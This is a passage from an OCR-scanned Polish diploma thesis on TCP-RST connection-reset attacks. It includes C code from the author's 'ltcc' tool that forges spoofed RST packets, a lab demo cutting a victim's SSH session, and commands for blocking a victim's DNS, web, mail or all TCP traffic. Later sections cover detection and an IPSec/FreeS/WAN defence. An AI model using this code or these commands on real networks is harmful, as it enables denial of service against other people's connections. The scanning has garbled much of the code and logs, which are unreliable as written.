(kill_tcp->rst==0)) ok=1;
dst_addr.s_addr=kill_ip->daddr;
break;
default:

ok=0;

Funckja recv blokuje program w oczekiwaniu na pakiet, gdy odbierze pakiet z
interfejsu sieciowego, jego zawarto$¢ umieszczona jest w zmiennej recvbuf. Podzniej
zaleznie od ,poziomu” ataku - zmienna level sprawdzone zostaja adresy zrodlowe i

docelowe IP oraz TCP, ustawiona zmienna ok.

if (ok) {
// proceed killing
kill_ftcp->rst=1;
kill_ftcp—>ack=1;

kill_ftcp->seq=kill_tcp->ack_seq;//htonl(lon);
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lon=ntohl(kill_tcp->seq)+1;//+sizeof (struct iphdr);
kill_ftcp->ack_seq=htonl(lon); // ack
kill_ftcp—>source=kill_tcp->dest;
kill_ftcp->dest=kill_tcp->source;
kill_ftcp->doff=5;
kill_ftcp->window=0;//tcp->window;//htons(32767) ;
kill_ftcp->check=tcp_checksum((ulé*)kill_ftcp,

sizeof (struct tcphdr), dst_addr, src_addr);

kill_fip->ihl=kill_ip->ihl;

kill_fip->version=kill_ip->version;

kill_fip->tos=0x00;//ip->tos; // 1 oktet
kill_fip->tot_len=htons(sizeof (struct tcphdr)+sizeof(struct iphdr));
kill_fip->id=htons(0x6);//htons(ntohs(ip->id)+1); // dwa oktety
kill_fip->saddr=kill_ip->daddr;

kill_fip->daddr=kill_ip->saddr;
kill_fip->protocol=kill_ip->protocol;

kill_fip->tt1=0x77;//ip->ttl;
kill_fip->frag_off=htons(0x00);//ip->frag_off;

kill_fip->check=checksum((ul6*)kill_fip, sizeof(struct iphdr) );
mysock.sin_family=AF_INET;
mysock.sin_port=kill_ftcp->dest;//htons(dst_port);
tmp.s_addr=ntohl(kill_fip->daddr);
mysock.sin_addr=tmp;//dst_addr;

memcpy (packet,kill_fip,sizeof (xkill_fip));
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memcpy (packet+sizeof (struct iphdr),kill_ftcp,sizeof (struct tcphdr));

if (sendto(wsockfd, packet, (sizeof(*¥kill_fip)+sizeof (¥kill_ftcp)),
0x0, (struct sockaddr*) &mysock, sizeof (mysock))<0)

return -1;

0k=0;

3

...1jesli pakiet zostal rozpoznany - ustawiana jest flaga RST - kill_ftcp-;rst=1, spre-
parowany zostaje caly pakiet - zaréwno nagtéowek TCP jak i IP, wyliczona zostaje suma
kontrolna. Pakiet zostaje ,zbudowany”, przygotowany do wystania oraz wystany funkcjg

sendto.

9.2 Algorytm ataku

Algorytm dziatania jest bardzo prosty, podobnie jak programowa implementacja.

1. uruchomienie programu, zdefiniowanie potaczenia, jakie nalezy zerwac.

2. w petli zostaje uruchomiona funkcja tapiaca pakiety oraz analizujaca wychwycone
pakiety w celu znalezienia pasujacego do opcji podanych programowi podczas uru-

chomienia.

3. w momencie ztapania pakietu, zostaje spreparowany pakiet wygladajacy jak odpo-
wiedz z hosta, z ktérym komunikuje sie ofiara, ustawiona w nim zostaje flaga RST,

ktora oznacza zerwanie potaczenia.

4. pakiet taki zostaje wystany do ofiary, zanim wtasciwy host zdazy odpowiedzieC.
Potaczenie zostaje zerwane. Funkcja moze dziata¢ nieprzerwalnie, uniemozliwiajac

ofierze ponowne nawigzanie potaczenia.
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9.3 Laboratorium

Przyktadowa sie¢ w ktorej zaprezentwane zostang przyktadowe ataki TCP-RST moze

wyglada¢ tak:

Rysunek 12: Fragment segmentu sieci w ktorej przeprowadzony zostaje atak

; ~ Router

mEmE meEms msams b
_ ..-: .'I ; 3 = |
A L} e s

L43, | 56,208, 1'\51\

[459 136208171 (4% 156208172 1491536208 174 140, | 56,208, 172

1. Maszyna o adresie 149.156.208.171 to Celeron 466 z zainstalowanym systemem
Windows 98™,

2. Maszyna o adresie 149.156.208.172 to Pentium II z zainstalowanym systemem Li-

nux.

3. Maszyna o adresie 149.156.208.173 to Laptop z zainstalowanym systemem Linux,

z ktoérego przeprowadzony zostanie przyktadowy atak.

4. Maszyna o adresie 149.156.208.174 to NetServer E60 HP z zainstalowanym syste-

mem Linux.

5. Hub, do ktérego podpiete zostaly wyzej wymienione maszyny pochodzi z firmy

Planet™,
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6. Router (149.156.208.161) sprzetowy firmy CISCO™, potaczony z siecia miejska,

bedacy jednocze$nie gatewayem.
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9.4 Atak!

W tym miejscu sprawdzamy (poleceniem tcpdump) jak ofiara, ktéra postanowiliSmy za-
atakowac, korzysta z sieci. Wynik dziatania polecenia ukazuje nam komunikacje maszyny
o adresie 149.156.208.171 (ofiary) z serwerem 149.156.208.100. Ofiara taczy si¢ na port

22 serwera. Na tym porcie standardowo dziata ushuga ssh.

[ | xtenm

i i

L3312v1h, eb2633
T win 8408

13312315, 673904
13312150, 553447
1321218 SRIEST
13;12;15, 0450
Laglesdb, limhdns
13012416, BaL720
134216, 009273
13:12: 16, 559201
15412017 126158
13542447 20911
B i O
134247 242779
13312317 284552
13;12:17, 332731
1312417 439621
13312447 475E09
13:12:17 551080
15412417 EBRISA
13:12:47 694179
13312417 9222355
12442447 QRET
13412417, 9500841
13312017 570252
1312417 571150
13412417 O7201 4
‘i32122 17, 973145

Rysunek 13: Przygotowanie do ataku

rootRglibes honedpablodprojectsr/Thec-1, 0,24 tepounp -1 ethd -nosrc 143,155,208,171 o dst 143,156,208

topdunpt verboge cutput supprezssd, use —u or -wo for Full protocol decods
listening on =thd,. Link—typs ENAOHE (Eibernst). capturs size 95 bytes

[F 143,196,208, 171,1252 = 149,196, 208,100, 22 P 9Le0L341 910015437 (20) ack 142417995

IF 143,156,208, 100,02 3
IF- 143,156, 208, 171, 1252
TF 143,156, 208 106,27 &
[F 143,136, 206, 100,22 &
IF 143,196, 2%, 171, 1752
IF 143 156, 208, 171, 1957
IF $43,156, 200,100,722 &
IF 149,156,208, 100,22 »
TF 143 156, %08 171, 1950
IF 143,156, 208,100,722
IF 143,156, 208, 100,22 »
[P 143 15,208, 171,1952
IF 143,156, 208,100,522 +
IF 143,156,208, 190,22 >
IF 143 186 208 1711952
IF 143,156, 200,100,020 &
IF 143,156, 208,100,22 »
IF 143 156, 208, 171, 1957
[P 143,156, 200,171, 1962
IF 143,156, 208, 100,72 »
TP L45 156. 208 106,27 5
IF 143,156,208, 100,27 3
IF 149,156,208, 171, 1252
[F 149156, 208 100,27
[P 143,156,200, 100,27 3
IF 143,156, 208,171, 1752

149,155,208, 171, 1752
> 143,15, 208,100, 22;
149,185,208, 171,126
141,155,208, 171,1252;
> 143,155,208,100, 22
% 149,155, 208,100, 221
149,155,200, 171 ,1252;
149, 156,208, 171, 1752
5149 165 508 100,52
149, 455,208,171, 1762
149,156,208, 171, 1752
5 143156, 208 100, 22:
149,155 200, 171, 1752
149,156,208, 1711752
5 143,156, 208, 100, 221
149,155,090, 171,100
149,156,208, 171,1752;

148 108, 208 100, 22

> 148, 165, 208,100, 22
143,156,208, 171, 1252;
149,155,208, 171 1262
149,156, 208,171 ,1252;
149,156, 208,100, 22;
149,166,208, 171 . 1252
149,156, 208,171, 12562
> 149,156, 208, 100, 22;

P 1:21(20]) ack 20 win 32120
FZ040i20) ack ZL win G368

. ack A0 uin 22120

P 2LidLii2a) ack 40 win J2LED
ack 41 win 5363

40:B0020) ack 41 win 8368
ack G0owin 32120

4LIBLIZ0) ack BO win 3ZLZ0
E0+20(20) ack Bl win 8348
ack B0 win 32120

BLBLI20) ack B0 win 32120
S0:100020) ack 81 win 9329
ok 100 win 32120

BL3101020) ack 100 win 32120
100+1200(20] ack 101 win 2308
aok 120 win 32120
101:1620] ack 120
ack 121 ‘win B238
PoAR0sid40020] ack 121
. oack L4niwin 52120
P AMAM] ack 140 win 22120
P oA4d33050244 ) ack 140 win 32120
. ack 385 win BU24

P BRR:TOLEBIRY ack 140 win 32120
P70 A080108) ack 140 win 32120
+ ack 803 win TEOQD

T O+ O«

T+ OO+ O+

win F2L20
win E208
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Ofiara pracuje przy maszynie 149.156.208.171 - ma uruchomiony program putty -
jest to darmowy klient SSH. Ofiara potaczona jest z serwerem 149.156.208.100, na ktérym

pracuje zdalnie.

Rysunek 14: Ofiara pracuje uzywajac programu putty

;_,n: wizard ae_krakow pl - PuTTY

[pabloBwizacd pablo]l§ ps axu _“__I
TUSER FID 5CFU xIHEN TVIEZ B33 TTY 3TAT ITART TIHNE COMITANL

paklo £95E0 0.0 0.2 5140 1372 7 b} 10:13 0:00 sshd: pahloBptsse
jel=1 i Ru] 29587 0.0 O.L 1744 556 pL3/6 A 10:13 o:00 —bash

peblo 29539 0.0 0.0 1104 448 ptefe 5 10:13 0:00 notifyme-b

pablo 3726 0.0 0.% G048 1324 7 3 12:28 0:00 szhd: pablolptais
pablo 3727 0.0 0.1 1736 968 pts/fo 5] 12:28 0:00 -bash

pablo 3739 0.0 0.0 1104 448 pts/S ) 12:28 0:00 notifyme-b

pablo 4337 0.0 0.1 231a 676 ptsis E 12:46 0:00 pz axu

[pablodwizard pablo]ld
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Uruchamiamy ltcc z opcjami, ktore maja ,,ubi¢” polaczenia wychodzace z maszyny
ofiary do serwera (149.156.208.100) na port 22. Opcja -k oznacza, ze program powinien

dziataé¢ bez konica, a opcja -w oznacza, ze program ma by¢ caly czas aktywny na konsoli.

Rysunek 15: Uruchomienie Itcc - atak!

x|

root@glibes honedpablo/projecte/Ttoo-1, 0,24 o Altce -1 2 -5 149,156,208,171 -0 149,155,200, 100 - 22 -
U =kB
Ii-ﬂumlng level 1 (killing all comnectiofs from 149,166, 908,171 +a 149 1C0E, 700, 100 220
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W momencie wystania jakiegokolwiek pakietu z maszyny ofiary do serwera na port 22
(co w pracy terminalowej - putty oznacza wystanie dowolnego znaku do serwera) potla-
czenie uzytkownika zostaje natychmiast przerwane, a on sam oglada taki oto komunikat.

Program putty zakonczyt prace.

Rysunek 16: Zerwanie potaczenia po stronie ofiary

# wizard ae_krakow. pl - PuTTY

[pablofwizard pablo]d ps axu _JJ
T3ER FID %CFU %HEN TIZE R3G TTY ATALT Z[TART TIHAE COMMAND

pakblo 2958 0.0 0,2 5140 137E 7 5] 10313 0:00 sshd: pablolpts/a
pakhlo E95E7 0.0 0.1 1744 986 DLSSG ] 10:13 0:00 —hash

peklo 29532 0.0 0.0 1104 445 pLsso 3 10:13 0:00 noclIiyme-h

peEblo 3726 0.0 0. 5015 1324 7 3 12:26 0:00 sshd: pabloBprsss
paklo 3TET D.0. D.1 173c CEUREEE ]| —basn

jei=1apan} G033 (SR .y 11049 notityme-1

pakilo 4337 0.0 0

L aads e Metwork errar Conirechonreset by peer s

ok, |

[pakloBwizard pablo] § ||:r
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W screen shocie zamieszczonym ponizej wida¢ wynik skanowania podsieci, aktyw-
nosé tylko jednej maszyny o adresie 149.156.208.171. Laczy sie ona z dwoma serwerami
(149.156.208.141 oraz 149.156.208.100 - ssh) oraz z serwerem 149.156.208.130 - na ustuge
nazw. 7 kilkoma serwerami na port 80 (ustuga http).

Podczas 60-cio sekundowego skanowania program ztapat 919 pakietéw TCP nalezacych
do 16 niezaleznych potaczen.
Dostepne opcje sg z poziomu menu znajdujacego sie w gornej czesci ekranu. Po wybraniu

polaczenia ofiary oraz nacisnieciu klawisza ,k” atak zostaje aktywowany.

Rysunek 17: Przyktad uruchomienia programu w trybie interaktywnym

1332300, 761674
13;23:595, 7B6E31
13328105, FE3430]

IP 149,156,200, 141,20 » 149,155, 200, 171, 1054;
IF 149,156, 208,171, 1954 = 149, |56, 008,141, 21;
IF 149,156, 208,141, 20 » 149,156 208, 171,1267

= 14E0; sack DK, tinestamp BOBRPIY? O nop uscale 0

L3;283:00, MeaeTl

[F 140,156,200,171,L257 > 149,156 200,141, 20;

win BYE0 <nzs 14E0 rnop.ndp.sacklk>

13+ 73:55, F72954
12322500, 773008
13325505, 775022
13+ 73+05, 775930
13: 2555, 776153
13325198, 773715
13+ 73+65, 77936
L {3429;3620} »
13;25;559, 236033
13+ 25+ 65 91444
13;25;05, 207659
1332315, 500603
L 342943629} o
13;23;55, 309036
13323108, 991732
13 arhE, 19E02E
3430549, 316207
A:d8149. 507024
2438140, 217191
3736543, 317632
5338149, 5185548
23308740, 224670
3736:43, 324940
A:38rEh.ERaR1]
213000, EE017E
3;36,00, E60533

[F 149196, 208,147, 20 > 149,106,208, 171,125/
IF 149,456,208, 141,21 > 148,166,208, 171 1264
IF 143,156,208, 141,20 » 149,156,208,171,1257:
[F 143,156, 208, 141,20 * 149,168 208, 1711257+
IF 143,256, 208,171, 1257 > 149,156, 208,141, 20
IF 143,156,208, 141,20 » 143,196,208, 1711257 ;
IF 143,156, 208,171 1257 > 149,156, 208,141, 20

IF
[P
IF
[F

143,156,208, 171, 1254 3+ 143,156,205, 141,41;
143,156,208, 141,21 > 149,155 208, 171, 1204
149,156, 208,141, 20 » 149,155,208, 171,1267;
143,156,208, 171, 1257 > 143,150 05,141, 20¢

IF
IF
IF

143,156, 200,171, 1257 » 149,156, 208,141, 20;
143,156, 208,141, 20 & 143,156,208, 171, 1257
143.156,202,171, 1954 > 149,156, 202,141, 21 ;

PEDZE612009] mck 16T win G40
P 1E7:L7306) ack B1Z win B149
S 11AR92143 1 1HE 9221 43000 win 5840 <ns

S GLP2REIN4: 51IFIGE194 (00 ack 1106020144

ack 1 win-HEdd

ELIsR41029) ack 173 win B0
1799909580 ack 1 win S840
9R9+19R901010) ack 1 win 5840

ack 1969 win 8760

FP 542973623(199) ack L win 5840

. ack 1969 win 8760 <rop.nop,sack sack

# TOTO O

. ack B4l win B120

P EAIHEELIAN] ack 173 win BR4N

» 1069: 7429014500 2ok 1 win GB40

» ack - 3E23 win 8760 <rop .noposack sack

F 1;4607 ack 3629 win G760
. ack 2 win 5340
. ack BEl win BOSO

arp who-haes 149,156,208,161 tell 143,156,208,171
arp reply 149,195,208, 161 iz-at 000000 34dot 74

IF 143,156, 202,171, 1352 > 149,156, 208,100, 22¢
[F 143,156, 205,100 22 » 143,156,208, 171,1252;
[F 143,156, 208,100, 22 > 143,196,208, 171,1252:
IP 143,156,202, 100,23 > 149,156,208, 171,1252;
IF 143,156,205, 171, 1258 » 143,156, 208,100, 52;
[F 143,156,208, 141,21 » 149,166 208,171,104
IP 143,156,202, 141,21 > 148,156,202, 171,1254;
IF 143,196,205, 171, 1204 = 143,106, 206,141, 51
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Program tcpdump doktadnie ukazuje co dziato si¢ podczas ataku. W momencie
napotkania pasujacego pakietu, wystany jest spreparowany pakiet z ustawiong flagag RST.
Potaczenie zostaje zerwane, komunikacja zakoniczona. W logach z tecpdump’a widaé, ze
podczas ataku ofiara komunikowalta sie rowniez z serwerem o adresie 149.156.208.141
- z ustuga FTP. Potaczenie to nie zostatlo zerwane, poniewaz celem ataku byta praca
terminalowa SSH komputera ofiary z serwerem 149.156.208.100.

Podczas ataku uzyta zostata opcja -k oznaczajaca, ze atak bedzie trwal nieskonczenie, w
zwigzku z tym kazda kolejna proba potaczenia ofiary z portem 22 serwera 149.156.208.100

zostanie przerwana komunikatem: ,,Network error: Connection reset by peer”.

Rysunek 18: Dalsze logi z programu tcpdump

M | xtenm
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9.5 Przykltady zastosowania programu ltcc

Oprécz jednorazowego zerwania potaczenia SSH (z portem 22 serwer) oraz uniemozliwe-
niu jego pdézniejszego nawigzania - jak to przedstawitem w przyktadzie powyzej, mozna

Jtee” wykorzystaé w nastepujacy sposob:

DNS uniemozliwienie nawigzania jakiekolwiek potaczenia z serwerem nazw z maszyny
ofiary:

Jltee -1 3 -S 149.156.208.171 -P 53 -k 0

w praktyce uniemozliwi to ofierze zamiane nazw internetowych na numery IP, tym sa-
mym znacznie utrudni korzystanie z internetu, a ,zwykltemu uzytkownikowi” skutecznie

uniemozliwi.

www uniemozliwienie nawiazania jakiegokolwiek potaczenia z jakimkolwiek serwerem
WWW:

Jltee -1 3 -S 149.156.208.171 -P 80 -k 0

konkretny serwer z uslugg POP3 - uniemozliwienie ofierze odebrania poczty
(przez ustuge pop3) z konkretnego serwera:

Jltee <11 -S 149.156.208.171 -D 149.156.208.141 -P 110 -k 0

konkretny numer IP - uniemozliwienie ofierze nawigzania jakiegokolwiek potaczenia
TCP z konkretnym serwerem:

Jltee 12 -S 149.156.208.171 -D 149.156.208.141 -k 0
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wszystko uniemozliwienie ofierze nawigzania jakichkolwiek potaczen TCP:

Jltee -1 4 -S 149.156.208.171 -k 0

9.6 wykrywanie ataku

Prezentowany wyzej atak w kazdym przypadku da sie¢ wykry¢. Pierwszym niepokoja-
cym symptomem, ktéry oznaczaé moze, ze jesteSmy atakowani jest notoryczne zrywanie
polaczen. W tym momencie, aby upewnic sie, ze atak na nasza maszyne faktycznie miat
miejsce proponowatbym uruchomi¢ program tcpdump na naszej maszynie i sprawdzic

nastepujace rzeczy:

Spos6b zamkniecia polaczenia Czy zamkniecie potaczenia odbywa sie w naturalny

sposob, zatem czy pakiety RST poprzedzone sa wymiang pakietow z FIN?

Tlosé pakietow RST Duza ilos¢ pakietow RST przychodzacych do naszej maszyny
moze wskazywaé na atak. Réwniez takie same pakiety RST (z takimi samymi numerami

sekwencyjnymi) nastepujace kolejno po sobie.

Analiza numeréw SEQ, ACK Jezeli bezposrednio po otrzymanym pakiecie RST
otrzymujemy pakiety PUSH z numerami sekwencyjnymi takimi jak wczesniej otrzymany
RST oznacza to, ze ktorys z pakietéw jest podrobiony.

Poniewaz liczba przychodzacych pakietéw moze by¢ duza - zaleznie od aktywnosci ma-
szyny oraz rodzajéw prac jakich na niej wykonujemy - do analizowania numerow sekwen-

cyjnych warto napisa¢ odpowiedni program.

9.7 Inne ataki na protokoél tcp

22 kwietnia 2004, opublikowany zostal artykut pt. ,Nowe ataki TCP” w ktérym opisany

jest nowy pomyst na atakowanie protokotu TCP. Podobnie jak prezentowany powyzej
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sposob, nowy atak polega na wystanie fatszywych pakietéw z ustawiong flagg RST.

Polega on na ,wstrzeleniu” sie w odpowiednie numery ISN.

9.8 IPSec jest odporny

Wyzej ukazany atak oraz jemu podobne nie majg miejsca bytu, jesli ofiara uzywa proto-
kotu IPSec zamiast TCP/IP do komunikacji ze zdalnymi serwerami. IPSec enkapsuluje
dane protokotu TCP zatem atakujacy nie ma dostepu do numeréw sekwecyjnych, nie ma
mozliwosci podrobienia informacji ukrytej - zaszyfrowanej protokolem ESP.

Program ,ltcc” uruchomiony na maszynie atakujacego bezskutecznie bedzie czekal na

pasujace pakiety. Zatem nie bedzie mial okazji, zeby spreparowac¢ atakujacy pakiet RST.
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10 Zestawienie potaczenia po IPSec przy uzyciu pa-
kietu FreeS/WAN

W niniejszym rozdziale zaprezentuje jak praktycznie zestawi¢ potaczenie po IPSecu jako
antidotum na wyzej przedstawiony rodzaj ataku. Polaczenie bedzie szyfrowane w sieci lo-
kalnej pomiedzy laptopem a serwerem. Wybralem pakiet FreeS/WANa, poniewaz dziata
on na kernelach linii 2.4 a na tej wlasnie linii pracuje wigkszos¢ moich serweréw w tym
momencie. Drugim, bardzo waznym powodem jest licencja - FreeS/WAN udostepniony

jest na licencji GNU GPL[1§]

10.1 Wymagania

— dwie maszyny z zainstalowanym systemem operacyjnym Linux w linii 2.4

— przynajmiej jedna maszyna musi mie¢ statyczny numer IP - bedzie to serwer do

ktérego taczy¢ sie bedzie stacja robocza (np laptop)

— pakiet FreeS/WAN|22| zainstalowany na obu maszynach

— konto ,root” na obu maszynach

10.2 Konfiguracja
10.2.1 plik /etc/ipsec.conf
Na laptopie wyglada nastepujaco:

conn road
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left=149.156.208.173

leftnexthop=Jdefaultroute

leftid=0@glibc.ae.krakow.pl
leftrsasigkey=0sAQNVh794PHL. . .
right=149.156.208.174\\
rightid=0@iks.ae.krakow.pl
rightsubnet=0.0.0.0/0
rightrsasigkey=0sAQNzMjATTaY. ..

auto=start

10.2.2 Klucze

Jeftrsasigkey”  zostal  wygenerowany w  nastepujacy sposéb  na  laptopie:

glibc.ae.krakow.pl (149.156.208.173).

ipsec newhostkey --output >/etc/ipsec.conf

ipsec showhostkey —-left

Jrightrsasigkey” w  sposob  analogiczny na  serwerze

(149.156.208.141).

10.2.3 Start

Uruchomienie szyfrowania nastepuje po wykonaniu polecenia:
ipsec setup start

10.2.4 Zarzadzanie wieloma szyfrowanymi polaczeniami
Do zarzadzania poszczegdlnymi potaczeniami stuza komendy:

ipsec auto --add nazwa
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ipsec auto --delete nazwa
ipsec auto --up nazwa

ipsec auto -—-down nazwa
ktore w kolejnosci odpowiadaja za: dodanie, usuniecie, wlaczenie i wytaczenie

potaczenia: ,nazwa’.

wyhazwa” to ciag znakéw w pliku /etc/ipsec.conf wystepujacy po ciagu: conn identyfi-

kujacy potaczenie.

sauto” oznacza automatycza wymiane kluczy - w przeciwienstwi do ,manual”.
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11 Podsumowanie

W niniejszej pracy zaprezentowane zostaly protokoty TCP oraz IP, ich budowa oraz
miejsce w siedmiowarstwowym modelu ISO/OSI. Opisany zostal sposéb oraz zasada ko-
munikacji sieciowej z ich wykorzystaniem. Wymienione zostaty wady i zalety kazdego
z nich jak réwniez alternatywny dla nich protokét IPSec. Prezentowany docelowo atak
ukazat stabosé rodziny TCP/IP w dziedzinie bezpieczenstwa. Program ,ltcc” umiemozli-
wil osobie atakowanej komunikacje z serwerem przy wykorzystaniu protokotéw TCP/IP.
Gdyby zaréwno maszyna atakowanego jak i serwer 149.156.208.100 miaty wbudowang
obstuge protokotu IPSec - taki atak bytby niemozliwy.

Celem pracy nie bylto ukazanie protokotu IPSec jako genialnego lekarstwa na niebezpie-

czenstwa komunikacji sieciowej lecz zaprezentowanie jednego z tych niebezpieczenstw.
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A Kilka sto6w o Linuxie

System operacyjny Linux zostal stworzony w Finlandii przez Linusa Torvaldsa podczas
cwiczen praktycznych na uczelni. W 1991 roku Torwalds opracowal go na podstawie
wielozadaniowego systemu Minix. Poczatkowo projekt rozwijat sie w niewielkim gronie
programistow entuzjastow, ktorzy programowali dla samej przyjemnosci pracy nad
projektem, dla samej satysfakcji, czy tez dla uznania w $rodowisku specjalistow. Do tej
pory prace nad systemem prowadzone sa przez zapalencow nie osiggajacych zadnych
materialnych korzysci ze swojej pracy. Taka filozofia pracy i takie zaangazowanie setek a
nawet tysiecy programistéw na calym $wiecie w tworzenie systemu oraz jego oprogramo-
wania spowodowal niesamowity rozwéj Linuxa w ciggu ostatnich dziesieciu lat. Mniej
wieej co kilka tygodni powstaje nowa wersja jadra systemu. Obecnie najnowszym ja-

drem jest 2.6.10 (z linii 2.6), 2.4.28 (z linii 2.4), 2.2.27 (z linii 2.2) oraz 2.0.40 (z linii 2.0).

Kod zrodlowy systemu dostepny jest razem z samym systemem na stronach inter-
netowych (http://www.kernel.org). Open Source, bo tak nazywa sie dostepnosé kodu
umozliwia praktycznie kazdemu uzytkownikowi jego modyfikacje zgodnie z wtasnymi
upodobaniami, pomystami. Open Source zwieksza szanse znalezienia btedéw, ktore
sa spotykane w oprogramowaniu. Reakcja na znalezione bledy jest niezwykle szybka
w poréwnaniu z innymi, konkurencyjnymi systemami. Wiekszym zaufaniem obdarza
sie system ktory jest otwarty, ktéory widaé jak jest zbudowany i w ktérym na pewno

deweloper nie ukryt celowo zadnego btedu.

Linux jest darmowym systemem operacyjnym nie odstepujacym jakoscig komercyj-
nym systemom takim jak Novell Netware, czy Windows NT/2k. Doskonale nadaje sie na
serwer sieciowy jak i na stacje robocza, dlatego obecnie ponad 10 milionéw ludzi korzysta

z Linuxa na swoich komputerach w domu i w pracy.
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A.1 Dystrybucje Linuxa

Czym rézni sie ,dystrybucja Linuxa” od ,Linuxa”? Pojecia te bardzo czesto sa mylone,
najczesciej Linuxem nazywa sie cala dystrybucje, podczas gdy w rzeczywistosci Linux
to tylko jadro systemu. Dystrybucja natomiast jest to jadro razem z oprogramowaniem.
Dystrybucje réznig sie¢ miedzy soba wtasnie tym oprogramowaniem, sposobem instalacji,
czy tez startem systemu. Na rynku obecnie istnieje wiele dystrbucji Linuxa, ktére mozna

podzieli¢ na dwie kategorie:

dystrybucje komercyjne - ktére producenci dostarczaja wraz z konkretnie wyspecy-
fikowanym oprogramowaniem. Producenci oferujg réwniez pomoc techniczng, za

ktora wiasnie sie ptaci.
dystrybucje otwarte - producenci tego typu dystrybucji nie sa nastawieni na zysk,
zatem dystrybucje nie zawieraja oficjalnej pomocy technicznej.

Najbardziej popularne komercyjne dystrybucje Linuxa:

RedHat - (www.redhat.com) - charakteryzuje ja format pakietéw instalacyjnych:
RPM, dystrybucja uznawana za najlepsza dystrybucje dla poczatkujacych.

Nadaje sie zaréwno na serwery, jak i na stacje robocze.

Mandrake - (www.mandrake.com) - bliZzniaczo podobna dystrybucja do RedHata,
rowniez bardzo tatwe, klikane oprogramowanie, réwniez nadaje sie na stacje

roboczg dla niezbyt zaawansowanych uzytkownikow.

SuSE - (www.SuSE.org) - ogromna niemiecka dystrybucja. Uzywa systemu RPM do

zarzadzania pakietami.
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Aurox - (www.aurox.org) - mloda, polska dystrybucja na biurko.

Knoppix - (www.knoppix.org) - pierwsza dystrybucja uruchamiana z CD (live CD -

nie wymagajaca instalacji na twardym dysku)

Do najpopularniejszych otwartych dystrybucji naleza:

Slackware - (www.slackware.org) - profesjonalna dystrybucja, ktorej pakiety instala-

cyjne wystepuja w formie archiwéw (pliki w formacie TGZ).

Debian - (www.debian.org) - bezpieczna, stabilna dystrybucja. Uzywa wlasnego

systemu administracji pakietami : DEB.

PLD - (www.pld.org.pl) - pierwsza polska dystrybucja Linuxa. Kozysta z systemu

RPM. Polscy programisci stawiali na polskojezyczne srodowisko.

Gentoo - (www.gentoo.org) - dystrybucja, ktérej wszystkie sktadniki kompiluja sie

podczas instalacji (ma to wplyw na stabilno$é systemu).
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B Zawartos$é¢ ptyty CD

Zawartos¢ ptyty znajduje sie rowniez na mojej stronie:
http://prokop.adfinem.net

oraz na mirrorze:

http://prokop.ae.krakow.pl

docs - katalog z tekstem niniejszej pracy dyplomowej a w nim nastepujace pliki:

e scheme.pdf - tekst pracy w formacie pdf

e scheme.ps - tekst pracy w formacie Postscript

e scheme.html - skonwertowany tekst pracy programem latex2html

docs_source - katalog z plikami zrédtowymi do pracy:

e scheme.tex - kod zrédtowy pracy w formacie TEX dla programu KTEX

e *eps - pliki graficzne w formacie Encapsulated PostScript zapisane z pro-
gramu xfig lub z programu Gimp (www.gimp.org)

Itcc - katalog z kodem Zrédtowym programu ltcc

rfcs - dokumenty rfc do ktorych odwotuje sie w pracy
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